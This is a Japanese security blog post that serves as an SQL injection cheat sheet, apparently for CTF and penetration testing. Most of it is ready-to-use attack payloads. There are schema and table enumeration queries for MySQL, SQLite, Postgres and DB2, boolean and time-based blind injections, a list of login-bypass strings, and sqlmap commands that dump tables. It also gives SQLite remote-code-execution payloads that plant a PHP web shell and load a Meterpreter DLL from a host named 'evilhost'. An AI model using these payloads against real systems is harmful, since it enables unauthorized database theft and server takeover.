Marsの5εcur1ty備忘録

不定期的にCTF、脆弱性検証、バグバウンティレポート分析など、情報セキュリティを中心とした技術ブログを更新します。

SQL Injection Cheet Sheet

CTF SQL injection

SQLインジェクションでデータベースの全体情報を引き出すのはクラッカーらが秘密情報を盗む常套手段になっています。今回は、いくつかの種類のデータベースの様々な情報を引き出すためのエクスプロイトコードを紹介します。

 

・MySQL

List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

 

テーブルスキーマ、テーブルの名前、コラムの名前を参照するには、table_schema, table_name, column_nameをSELECTすれば良いのです。そのほかの情報、ここで紹介していないものを取り出したい場合は、こちらのサイトを参考すると良いかもしれません。

 

Reference:

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

 

・SQLite

SQLite version

select sqlite_version();

Integer/String based - Extract table name

SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

 

Integer/String based - Extract column name

payload: 1 union select 1,sql from sqlite_master
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
For a clean outputSELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

Boolean - Count number of tables

and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table

Boolean - Enumerating table name

and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number

Boolean - Extract info

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

Time based

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

Remote Command Execution using SQLite command - Attach Database

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Remote Command Execution using SQLite command - Load_extension

UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

Reference:

PayloadsAllTheThings/SQLite Injection.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

 

・Postgres DB

List Databases SELECT datname FROM pg_database
List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

Reference：

http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

 

・DB2

List Databases SELECT schemaname FROM syscat.schemata;
List Columns select name, tbname, coltype from sysibm.syscolumns;
List Tables select name from sysibm.systables;
Find Tables From Column Name select tbname from sysibm.syscolumns where name=’username’
Select Nth Row select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;

Reference：

DB2 SQL Injection Cheat Sheet | pentestmonkey


 

そのほかに、Ingres, MSSQL, Oracle SQL, Informix SQLは、こちらにご参考ください。

pentestmonkey.net

 

SQLインジェクションのまとめブログ：（Exploit codeからToolまで）

github.com

 

・BurpSuite丸投げ：

admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

 

・sqlmapによる注入

- GET

sqlmap -u "http://example.jp/sql_injection-003.php?ID=1&PWD=2"

- POST

sqlmap -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --dbms PostgreSQL (テーブル一覧表示：--tables|テーブルのダンプ：-T users --dump)

 

・JSONデータのSQL注入(sqlmap)

(例) 

sqlmap -r request.txt --level 5 --risk 3 --threads 10

request.txt:

POST /v1/password/request HTTP/1.1
Host: user-api.xxxxxx.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json
Accept-Language: en_US
Accept-Encoding: gzip, deflate
Referer: https://xxxxx.com/
Content-Type: application/json
Authorization: Token undefined
origin: https://xxxxx.com
Content-Length: 36
Connection: close

{"email":"test1","captcha":"test2"}

 説明：sqlmapはJSONデータ形式を自動的に検出し、ペイロードはtest1, test2のところに入ります。

 ・Bypass preg_replace() function:

1111 ununionion selselectect 1,password frfromom users

preg_replace just replace union, order, select, from, group, by once.

 

sqlmapによる注入はこちらの記事をご参考ください：

sqlmapでSQLインジェクションの検証 - Qiita

手入力での注入方法については過去の記事をご覧ください：

SQL Injectionまとめ - MarsのCTF備忘録

Copyright Mars 2019